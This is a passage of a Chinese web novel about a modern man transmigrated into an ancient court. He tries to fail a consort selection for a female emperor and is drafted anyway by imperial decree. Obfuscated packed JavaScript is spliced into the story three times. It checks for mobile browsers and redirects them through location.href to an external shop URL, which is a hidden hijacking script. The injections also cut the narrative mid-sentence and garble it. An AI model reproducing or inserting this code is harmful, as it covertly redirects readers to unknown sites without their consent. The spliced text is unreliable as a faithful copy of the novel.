然而,最为荒诞的是,在我已经对穿越回去这件事不抱期望的时候,爱人的面孔又这样意外地出现在了我的眼前。 “我与阁下素昧谋面,我又岂会入阁下的梦?阁下就不觉得这话过于轻浮了些吗?” 白衣女子淡漠的语气,还有“素未谋面”这个词彻底点醒了我。 不对,她不是我的爱人,她只是在这个时空中和我爱人相貌相同的陌生女人。 既然这里的诸葛易和现代的我模样一样,那会冒出来一个和我爱人模样一样的女人,也不是什么稀奇的事(话又说回来,这不是穿越剧里的经典桥段吗?)。 这么看来,和我爱人长得一样的女人混得属实不错啊,保底是个宫务员,还碰巧成了我今晚的主考官。 “主考官”这三个字提醒了我,我现在还在面试,把面试分刷下去,才是当务之急。 我故意嬉笑:“我做梦就爱梦美人,像姑娘这样的绝世美人,当然是我的梦中人了。” 白衣考官斥:“你不傻,还轻浮!” 轻浮好啊! 越轻浮,分越低!女帝肯定瞧不上一个男德有亏的低分男。 这个当头,一阵风来,吹散了几瓣小白花,恰好有一小瓣,落在了白衣考官脸畔的一缕发丝上。 天助我也! 我逮住机会,上前两步,白衣考官显然没有料到我会突然靠近她,身子轻颤了一下。 我微一俯首,安抚说:“别动。” 说完,我伸出双指,小心翼翼地避开了她的脸颊,勾起那缕青丝,轻轻地将那小瓣花给捋了下去。 “你……” 她恰好抬头,我俩四目相对,场面一下子变得很不对劲了。 一模一样,真的一模一样! 就算在近距离之下,我也无法找出眼前这张脸和我爱人那张脸的区别来。 白衣考官比我清醒得更快一些,她很有职业操守地后退了几步,和我拉远了距离。 我怕继续下去,把控不好“轻浮”的度,给自己搞成“秽乱宫闱”了,因此决定主动结束这场面试。 我朝白衣考官行了一个歉礼:“我是奉姜尚宫之命,在这儿等候的。为免唐突了姑娘,我还是站远一些吧。” 我走到了百步之外,考官却没有立即离开,而是静静地凝视着我。 或许是因为那张一模一样的脸,对上她的眼神时,我总觉心虚,只好转向池边,假装在看风景。 等姜尚宫来找我的时候,白衣考官早就离开了。 估计是我的面评太差,姜尚宫再见我的时候,态度都变冷了不少,他给的借口也很敷衍,直接说皇夫临时有事,今夜就不见我了。 说完他就让身后的一个宫人,带我回藏秀苑。 回宿舍的路上,我掐了自己几下胳膊,再度确认了自己不是在做梦。 这个时代确实有个女人,长得和我爱人一模一样。 不过好在我不是替身文学的爱好者。 我对于模样相同的人的观念,更接近于我看待影视演员。 我通常只会欣赏演员塑造的角色,而不会迷恋具体的某位演员,因为虽然脸都是一样的,但由于剧情不同、人设不同、演员诠释时的状态不同,塑造出来的角色,带给我的观感就是天差地别的。 因此,对于今晚那位考官,我没有去查人户口的打算(也没那个能力),别人有别人的生活,我不能因为她长得和我在现代的爱人一样,就去打扰别人的工作生活。 等我到宿舍的时候,毕过和陆韫之也全都说自己面试完了。 毕过说,他的面试官是个清秀的小宫女,那小宫女装作在路边崴了脚。 毕过一想到陆韫之的叮嘱,就跟在马路边遇见碰瓷的老人似的,丢下一声“男女有别”就跑了。 陆韫之那边来了个漂亮的女官,自称是皇夫宫里的人,宣陆韫之觐见。 陆韫之一看,就发现了盲点,直接胸有成竹地点出了那名女官穿的官服制式是什么什么品阶的,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323888|199113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇夫宫里的女官最低是什么什么品阶的,该穿的官服是什么什么式样的,从而推出这个女官压根不是皇夫宫中的。 女官听完,直接给出了很高的评语:“宫规熟记、言谈谦雅、男德无亏,上上人选。” 毕过听了问:“为什么没人给我评语啊!” 我说:“因为你人都跑到千里之外了。” 毕过这才反应过来:“糟了,我是不是不该跑那么快,万一她真是崴着脚了呢!” 陆韫之安慰:“三弟所为虽显鲁莽,但至少懂得避嫌,于男德无亏。” 接着,他俩都看向了我:“大哥你呢,结果如何?” 我直说:“不知道,反正考官说我轻浮。” 陆韫之语气中透着不安:“这可并非好词啊……” 我叹气说:“没办法,谁叫我的考官美若天仙,我承认,自己确实被挑战了软肋。” 毕过忙说:“我不信,除非让我也瞧瞧!” 我敲了下毕过的脑袋:“别瞧了,瞧了你也得不到,你小子以后还是把心思多用在陛下身上吧。” “那大哥呢?”陆韫之谨慎地压低了声音问我,“大哥是不是不愿入宫,今夜才会故作轻浮?” 我看着陆韫之和毕过两双真诚的眼睛,心中有些感慨。 不管怎么说,这段训练营的日子里有这两位小兄弟陪着,确实有趣好过了不少,甚至让我有种重新回到大学寝室的青春感。 那个时候的宿舍兄弟们,还没有走上社会,又因为不是同专业的,彼此间也没有什么奖学金保研资格之类的利益纠葛,所以能真心换真心,就算过了多年,也常聚常联系。 想到这里,我也不愿再对两位弟弟装了。 我摊牌了。 “没错,我不想入宫。在我昏迷时做的那场长梦里,我就像是活在了另一个朝代。那个朝代实行的是一夫一妻制,那里的绝大部分人,都无法接受和他人分享自己的另一半。可能是因为那场梦做得太久,所以就算现在我梦醒了,也不愿和一群人分享一个媳妇。” 陆韫之听进去了,眸中多了伤感:“一生一世一双人,本也是我平生所求,只可惜人生在世,有太多不得已。” “是啊,有太多的不得已,那就索性去他妈的,”我顺手抄起桌上的杯子,“我们今朝有酒今朝醉!” 陆韫之赞道:“好一个今朝有酒今朝醉,大哥随口一说,便是佳句!” “不是我写的,是唐朝一位诗人的,名字忘了。” “棠朝?” “不是我们这儿的大棠,而是跟东汉一样,都是我梦里面的朝代。不说这个了,来干来干!二弟今晚交了满分答卷,明天绝对没问题。至于三弟嘛,毕过毕过一定过!” 两人迟疑一瞬后,都配合地端起桌上剩着的茶杯,同我碰起杯来。 陆韫之先说:“我祝大哥明日得偿所愿。” 毕过说:“那我就祝大哥出宫后,能早日娶到个一生一世一双人的好媳妇!” 已经娶到了。 只不过,那大约已经算是上辈子的事了。 碰完杯,我下意识往嘴里灌酒,才发现杯子里压根就没酒。 空空如也,喝个寂寞。 11. 第 11 章 最后一天晚上,我在陆韫之这个“百科全书”处了解下女帝皇夫这对夫妻的基本信息,趁着这会儿还没殿选,也给大伙分享一下。 说到女帝,就不得不先提她亲爹太上皇。 太上皇是个痴情种,只有原配妻子一个女人。 然而人生哪有什么十全十美,太上皇得到了江山,成为了开国之君,结果早早失去了爱人(可能命太硬克妻)。 他的原配妻子因为难产走了,只给太上皇留了一个女儿。 在那之后,太上皇也没找别的女人开枝散叶,把唯一的闺女养在了自己身边,按照继承人的标准培养。 女儿成年后(这个朝代男女都是二十岁算成年),太上皇主动提出了退休,把皇位传给了闺女,自己跑去道观里修仙了。 这事怎么说呢,我觉得都算是封建帝王的必经之路了。 我们那个时空,好多英明的帝王晚年也都这样,得了天下,觉得不满足,就想求长生。 怎么求长生呢?炼丹嗑药呗!运气好,磕到剧毒,嗝屁了,从某种意义上来说也确实是“飞升”了。 当然还有一种说法是,太上皇不是想求长生,而是想复活自己的爱人。 这个说法的论据是,在妻子没去世之前,太上皇曾多次表示自己是个“无神论者”,但妻子死了没多久,太上皇就开始信起了修道炼丹那一套。 不管理由是什么,反正吧,太上皇修仙修到现在,既没有飞升成仙,也没有成功复活他的爱人。 说回女帝,女帝现在登基七年了,和诸葛易一个岁数,年方二十七,总体来说,是个口碑不错的明君。 女帝膝下有两儿一女,大皇子是在登基前跟皇夫生的,大皇女是登基后跟曹贵君生的。前俩孩子出生的时候,宫中就只有皇夫和曹贵君两个男人,所以很容易确定生父是谁。 到了生第二个儿子的时候,后宫男人多了,生父就存疑了。(但陆韫之跟我说,皇帝想要明确孩子的生父是谁,不是一件难事。哪怕真到明确不了的时候,皇帝也可以替孩子指定一个生父,但偏偏皇帝就是没给二皇子指定亲爹,究其背后原因,就属于后宫秘辛了。我说我最爱听秘辛。结果陆韫之给我说,因为是秘辛,所以他也不知道。) 接着说说女帝现任的老公皇夫,这位的身世就很顶级了。 皇夫的生父是靖安王,翊圣阁里排第一位的大功臣,新朝唯一一位异姓王。 众所周知,太上皇有两个拜把子的异姓兄弟,一位是诸葛易亲爹诸葛镜,另一位就是皇夫亲爹靖安王。 但靖安王这哥们挺惨的,跟着太上皇打江山,眼见快大功告成了,结果在宣武门事变中(这段史实我听陆韫之讲完,感觉跟我们时空唐朝的玄武门事变有一定查重率),为太上皇挡箭而亡。 靖安王妃那会儿正十月怀胎,听说了自家夫君的死讯,悲痛之下早产了,孩子生了出来,但人没了(我吃瓜到这儿,就一个感想:古代女性生育危险指数太高了,就算是贵为皇后王妃,也是说难产就难产,压根救不回来。) 皇夫就是靖安王妃拼死生下的遗腹子。 传闻太上皇一抱上故人之子,眼眶当场就红了,亲自给这孩子取名叫“刘子修”,收为义子,然后带回宫中,亲自教养,比对亲女儿还要亲,就差没把江山传给他了。 皇夫和女帝都共享父爱了,那肯定是从小一块长大,不是兄妹,但比兄妹关系还亲。 百姓们当时都觉得,太上皇收养皇夫,也是给自己闺女找了个童养婿。毕竟古代不是特别流行结拜兄弟之间定娃娃亲吗,照古人说法,这叫作“亲上加亲”! 结果谁曾想,太上皇居然不是把皇夫当童养婿,他是真把皇夫当亲儿子看待,也一直以为自己养大的这两个孩子之间是纯洁得不能再纯的兄妹之情,直到皇夫十七岁那年,向他求娶女帝,才发现自己把好兄弟的儿子给养歪了。 虽然吧,这桩婚事放在古代,既不违法,也不违背伦理道德,但太上皇就是觉得不太能接受。 他当庭大怒,呵斥皇夫:“愚不可及!你妹妹是要当皇帝的人,日后必然有男子无数!朕苦心教养你十数年,不是想瞧你自困内宫,去同无数个男人争一个女人!等你及冠出宫,承袭王位,想要什么妻什么妾,朕都能给你找来,何必盯着你妹妹不放!” 皇夫就是倔:“义父对先皇后的心意,便是儿臣对妹妹的心意。” 太上皇最后甚至直接断言:“你今日如此固执,来日必定后悔!” 结果皇夫就是这么固执,再加上女帝也点了头,所以最终这门亲事还是成了。 当年这事在民间也算是一段佳话,老百姓们无比认可皇夫的深情,并且也都觉得太上皇玉成这段婚事,也算是报答了当年靖安王的救命之恩。 就这样,当时还是皇太女的女帝和皇夫举办了一场羡煞天下人的世纪婚礼(太上皇这个共享爹估计也没想到,自己一天之内,居然能同时达成看儿女结婚两个成就。) 但很可惜啊,有句老话叫,自古深情留不住,年少情深也抵不过岁月蹉跎。 女帝怀大皇子那会儿,和皇夫还算新婚甜蜜,但等后来曹贵君等一堆新人入宫后,女帝对皇夫的态度就开始不冷不热了。最近这几年,又冒出来了一个宠冠六宫的曜君,更是将女帝的心抓得牢牢的。 我听到这儿时,一边嘴巴上为皇夫唏嘘,一边却暗笑:这皇家的爱恨情仇,当八卦来听,真都挺搞笑的。 最后我好奇问:“对了,皇夫殿下叫刘子修,那皇帝陛下叫什么?” 陆韫之和毕过又跟拿看元谋人的眼神看着我,可能都觉得我一个大棠人,怎么能不知道国家最高领导人的名讳呢? 陆韫之问:“本朝国姓,大哥应当是知晓的吧?” 我说:“这个我有印象,姓姬。” 因为我现代的爱人就姓姬,所以我对“姬”这个字很敏感。 陆韫之说:“陛下单名一个‘湘’。” 我笑不出来了:“哪个湘!” 陆韫之说:“潇湘之渊的湘。” 好巧,我的爱人也叫姬相。 不过,她是相信的“相”。 在宫中的最后一晚,我梦见自己回到了现代,还把这段时间的离奇经历,当成了故事,笑着讲给了我的爱人姬相听。 像这样的情景,也曾在现实中真切发生过。 其实,在这次穿越发生之前,我的意识就来到过诸葛易的身躯,而且还不止一次。 但那几次穿越都非常短暂,有时几秒、有时几分钟。最长的一次,我在这儿待了大半天,如同做了一场真实无比的怪梦。 醒来后,我把以为是梦的穿越经历,告诉了姬相。 姬相听完一脸呆愣,随后眼带忧愁地看着我。 我一看她这副表情,就觉得坏了,心想着:我该不会是压力过大,得了精神方面的疾病吧(现实中,人遇到了这事,谁会真往穿越上想啊?)。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323889|199113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我立马让小秦(我男秘书)帮我预约了一位精神科的专家。 然而,那天下午,看完诊后,我还没有等到专家给出最终结论,就在接姬相下班的途中,当着她的面,再度穿越了。 这一次,我发现自己的意识始终无法离开诸葛易的肉身,更无法回到现代,一直待到了你们所知的现在——殿选的今天。 殿选没换新场景,还是熟悉的礼德殿。 秀男们吃完早饭后,就等在了礼德殿,耐心候着主考官皇夫的驾临。 刚开始的时候,所有人都还挺直腰板站着,精气神充足,但等得久了,众人也就渐渐地松懈了,不免时不时搞些小动作,好比毕过,就闲着开始跟我递眼色了,用眼神蛐蛐:“皇夫怎么还不到,是不是在耍大牌?” 陆韫之自然不会在这时候,跟我俩“同流合污”,他保持着特优生的风范,从始至终,面不改色,站如松柏。 我整体观察了一下,如果这又是一场面试,那估计全场也就只有陆韫之、柴昊、吴符这三人能拿高分。 又不知道等了多久,传说中的皇夫依旧没有露面,取而代之的是姜尚宫带着大队宫人来了。 只见他神色凝重道:“大皇子殿下突发急症,皇夫殿下要亲自照看大殿下,因而只能缺席今日的殿选了。皇夫殿下让本官替诸位公子赔个不是,今日叫诸位公子久等了。” 说罢,姜尚宫朝我们行了一个礼。 我们连忙朝姜尚宫回礼。 陆韫之说:“可怜天下父母心。草民此刻只恨自己不得为殿下分忧。” 众人都认可了陆韫之这句马屁的含金量,立刻跟着道:“恨不得为殿下分忧。” 姜尚宫也很认可:“诸位公子的心意,本官一定会转告给殿下。” 他说着,从身后一位宫人手中托盘里,取过了一道懿旨。 “殿下虽不能亲临今日殿选,但却已经依据诸位数日来的表现,拟好了入选名单。” 敢情这殿选总决赛就是走个过场,平时的表现分才是重中之重。 “诸位听旨吧。” 众人应声跪下。 终于到了最后的宣判时刻了,我仿佛回到了高考查分那天,手中正紧握着电话筒(我们那个年代互联网不发达,都是电话查分),等待听筒那头的电子女音念出那一串早已无法改变的数字。 那个时候,我就觉得高考失利这事其实并不可怕,“无法改变”这四个字才是恐惧的源头。 此时此刻,正如彼时彼刻啊。 “怀州柴昊,性秉温良,着册封为七品淑男。” “谢……谢殿下恩典!谢殿下!也谢陛下!” 柴昊如愿以偿,激动得声音狂颤,语无伦次,差不多快泪洒当场了。 “岭州吴符,英姿粹纯,着册封为六品选侍。” 吴符喜不自胜,边打手势,边磕头谢恩。 “帝京毕过,赤心烂漫,着册封为六品选侍。” 毕过就没有前面两位兄弟那么激动了,满脸写着“理所应当”四个字。 “帝京陆韫之,端谨才高,着册封为五品才人。” 陆韫之也是一副宠辱不惊的模样。 我算是看出来了,这宣布顺序按册封后的品级来排的,往后宣布的,品级越高。 既然陆韫之这位全场最高分都已经官宣了,后面应该就…… “至于剩下的公子们,各赐良玉腰牌一枚,稍后便可离宫。” 12. 第 12 章 人逢喜事精神爽! 我这会儿落选后的心情,比当年范进中举后还要好上百倍。 在礼德殿那会儿,我是连话都不敢多说一句,生怕一张嘴,就笑出了声,直到脱下“校服”,换上常服,上了自家马车后,我才敢开怀大笑,嘴角比AK还难压。 马车一驶出宫门,我就迫不及待地跳了车。 跳车前,我跟车夫小哥打了声招呼,我说我今日心情好,就不坐车了,走回国公府,还顺带让车夫小哥给了我一袋银子,让他回去找诸葛镜报销(我在现代没啃上的老,到了国公府全啃着了。)。 我穿越来有一段时间了,这还是我头回独自一个人在大棠首都帝京的大街上溜达。 因为往日里,诸葛镜都不准我出门。 按常理来讲,诸葛易这么大的人了,家里面不该跟管小孩一样管着,连门都不让他出。 但没办法,谁叫诸葛镜实在是太过宝贝自己这个失而复得的独生子了。 是的,诸葛镜虽然名义上有四个儿子,但除了诸葛易外,剩下的三个儿子都是他收养的战后遗孤,和他没有半点血缘关系。 据说是有高人给诸葛镜算过,说诸葛镜因为当年在战场上杀孽太重,才会丢儿子,如果诸葛镜想要找回丢失的亲儿子,那就必须收养几个战后遗孤,把遗孤当作亲骨肉对待,积攒福报,等福报攒够了,才能寻回自己的亲儿子。 诸葛镜听话地收养了遗孤,把遗孤们当亲儿子对待,多年后他也确实寻回了诸葛易。可没过多久,诸葛易就成了植物人,现在还被我夺舍了,所以我很难说,那个高人到底有没有真本事。 但反正收养遗孤,那确实是一种行善积德。 诸葛镜太过珍惜这份福报,因此总觉得诸葛易醒来后又癫又傻的,就该老实待在家里面静养,别想着出门去瞎转悠,要是转悠着出了什么事,让他后半辈子怎么办? 我刚穿越过来时,人生地不熟,也挺老实,诸葛镜让我待在家,我就老实待着。 可我觉得吧,人类的底层逻辑就是向往自由,永远在一个地待着,连出门放风的时间都没有,那跟坐牢又有什么区别? 我实在待不住了,就跟诸葛镜说,爹,我真想出去逛逛。 诸葛镜还是说,不行,你要再好生静养静养。 我见正路不通,就改变了策略,决定走歪路,开始和燕羽搞好关系。 燕羽是诸葛易的贴身侍从,说是从诸葛易回府那年起,就一直在府上照看诸葛易(包括昏迷期)。 燕羽年纪跟诸葛易差不多,是个高大健硕的帅小伙,但前面我也提过,他跟吴符一样,都是因为小时候生了场病,没及时治,最后成了哑巴。 可能因为原主诸葛易和燕羽关系不错,所以我从醒来后,就对燕羽有一种亲近感,连诸葛镜这个亲爹都没有燕羽那样让我觉得亲近。 至于诸葛易的那三个弟弟,我的感觉更是只有两个字“不熟”。 和燕羽哥们关系一到位,许多话,我就好意思说了,那天早上,我直接问燕羽,我想出去溜达溜达,你有没有办法帮我? 燕羽比划,有。 但我没想到,他的办法那么简单粗暴——我俩到了大门口后,燕羽一个箭步上前,一掌一个就把门前的两个护卫给打晕了过去。 我尴尬问,这还算偷溜吗? 燕羽比划,公子能如愿就好。 燕羽人都替我打晕了,我再不趁机走,就是白白辜负他的良苦用心。 在燕羽的简单介绍下,我知道了,帝京有东南西北四个集市可以逛。 因为我这人喜欢走路,就选了离国公府最近的北市,散步刚好能散过去。 去北市前,我脑子里想的都是那种小摊小贩烟火气十足的小商品市场,去了后发现完全不一样。 北市整条街都铺了高档地砖,干净亮堂,街道两旁哪里有小商贩的影子,全是装潢高雅、铺面一连几间的大店子。街上往来的全是骏马拉的豪车、七八个大汉抬的富丽轿子。 我这才恍然大悟:北市既然离国公府近,那说明离皇宫也很近,应该这么说,北市附近围着那一片区都是权贵们的宅子。 那么作为天龙人大本营附近的商圈,毫无疑问,北市里开的都是那个时代的顶奢店,街上随便一家酒店啊饭馆啊,也全是五星级、轮胎带星的标准。(不恰当的类比一下,北市大概就是现代帝都的S某P、魔都的某隆广场定位,能在里面闭眼买的全是高净值人群。) 我当场就感叹:“这可真是误闯天家啊。” 说完一想,诸葛易这个国公府的嫡长子,放哪个朝代,都算是天龙人中的天龙人,这类人生就在天家,还需要误闯吗? 即便我上辈子,侥幸在私企里做到了头部,能稳居明面上的富豪榜前列,但在诸葛镜这种开国元勋眼中,依旧只配得“士农工商”四个字。 虽然我承认,这一场穿越,让我体验了一回阶级跃迁,但我依旧不觉得穿越是一件幸事,因为说到底,我是从一个民主的现代社会来到了一个不把人当人的专制时代。 我一直告诉自己,我没有金手指,不可能改变这个时代,但至少,我要竭力保证自己不被这个时代改变。 所以我时刻提醒着自己:要把别人当人,更要把自己当人。 我敢拍着胸膛说,自己绝对没把燕羽当过下人。当时我俩在北市逛了一圈后,我就挑了一家叫渊醉阁的酒楼,请燕羽一块喝酒。 燕羽刚开始还推辞,觉得他的身份不该和我同桌。我拉着他坐下说,我眼中的人不分三六九等。 古代的酒,纯度肯定不能跟现代的比,但也别有一番滋味,令人越喝越上劲。最后我直接喝断了片,醒过来的时候,早被人抬回了国公府。 这会儿一回忆,我酒瘾也跟着犯了,索性又跑去了上回的渊醉阁。 恰好是中午饭点,店里满座,迎宾小二给了我一个号牌,让我在楼外面等位,我看我前面只剩三桌人,就决定等了。 渊醉阁翻台速度还可以,估摸着过了十来分钟,小二就叫到了我的号。 我正高兴地准备进去,身后突然来了三人。三人里为首的是个棕袍青年,模样清秀,就是眼睛细狭,瞧着有点阴森。 小二招呼说:“现今客满,我给三位贵客一个号牌,请在队伍后面稍候着吧。” 棕袍青年说:“你新来的吧?可知本官来你们这儿,是从来没有等过位的。” 小二还没回他,楼里面又出来了一人,看衣衫样式,多半是大堂经理级别的。 古代经理该叫什么来着?对了,叫掌柜! 掌柜一见棕袍青年,上赶着谄媚说:“沈爷来得真巧,正好有一桌空出来了,快请快请!” 这下我有意见了,扬了扬手里的号牌:“这刚空的桌子,不该是我先吗?” 掌柜冲我和善说:“烦请这位客官再等等,下一桌空的,便轮到客官您了。” 棕袍青年听到这儿,不耐地瞪了我一眼后,右脚就当着我面,踏过了门槛。 这种低素质行为,我从不惯着,手猛一伸,使足劲头,拿住了他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323890|199113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左臂。 他怒呵:“放开!” 我讲道理:“凡事总要讲究先来后到吧。你一插队,对我们这些按规矩排队的人公平吗!” 棕袍青年冷笑,瞥了一眼后面排着的几人,傲慢说:“除了你,有谁敢叫嚣一句不公?” 我身后的几人好似都认识这位棕袍青年,有的低头,有的移目,确实没有一人敢跟着我抗议。 看来我这是真杠上一位权贵了。 掌柜说:“客官,我看您面生,您是不知吧,眼前这位大人可是宫中的沈尚物,我劝您还是等等吧。” 尚物?我想起了,姜尚宫课上讲宫里面组织架构时,确实提到过宫里面有个部门叫尚物局,专管各宫的物资分配,寻常后妃们想要在后宫里把日子给过舒服了,少不了要跟尚物局多打交道,否则冬天给你缺炭,夏天给你短冰,那日子可就不好过了。 尚物局的一把手的官名就叫“尚物”,虽然论品阶,比不上尚宫,但能捞的油水,未必比尚宫少。 但我实话说:“区区六品内官,也好意思在天子脚下仗势欺民吗!” 沈尚物大概是被人捧惯了,一听这话,气得脸煞白,对掌柜说:“这等刁民,你们若再不逐走,日后丢的可就是渊醉阁的体面!” 掌柜继续和稀泥:“客官啊,您不知沈尚物可是曜君大人跟前一等一的红人吗!” 曜君,这我知道,不就是那位传说中艳冠六宫、也宠冠六宫的女帝心头肉吗。 人在屋檐下,不得不低头,放前几日,我还在宫中训练营的时候,可能还会卖曜君几分薄面。 但现在,我人都落选了,这辈子都不可能再跟女帝后宫的男人们扯上半毛钱关系了,所以什么曜君贵君的,在我这儿,全都是个屁。 我直说:“哪怕今日是曜君来了,我也不许他插这个队!” 沈尚物大怒:“竟敢狂妄至此,你究竟是什么来头!” 我本来想说,你管我什么来头,你插队就是不对! 结果,我话没说出口,就被人抢了白。 “定国公府长子诸葛易。” 众人闻声大惊,纷纷回身看去,只见我们争论之际,身后多了一辆豪华马车,而在马车之后,竞还跟着一队披甲执锐的羽林军。 一名面熟的女子优雅从车中下来,不出意外,正是说话人。 女子手中还拿着一道卷轴,我瞥了一眼,立马紧张起来。 身旁的沈尚物神色比我更加紧张,当即上前见礼:“参见钟大监。” 他这一称呼,我就想起来了,眼前这位钟大监正是那日来宣判董律死刑之人。 这个朝代的大监,就是我们时空宫廷剧里的大内总管,皇帝最信任的御前太监。 大监是三品官,在后宫内侍里,是到顶的位置。 大领导一来,沈尚物这厮早收敛了脸上的傲意,毕恭毕敬问:“不知大监驾临,所为何事?” 钟大监一眼没看沈尚物,对我说:“诸葛公子听旨吧。” 不好,这是冲我来的。 但圣旨在前,容不得我再做打算,唯有先老实跪下。 “定国公长子诸葛易承荫其父,擢为六品选待,择良日入宫,钦此。” 我听懵了,连礼法都顾不上了,激动地质问:“今日选秀结束,殿下懿旨已赐我出宫,又岂能出尔反尔!” “那是殿下的懿目,而这是陛下的圣旨。” 钟大监神色肃然,犹如她手中的圣旨威重不可犯。 “诸葛选侍,还不接旨谢恩!”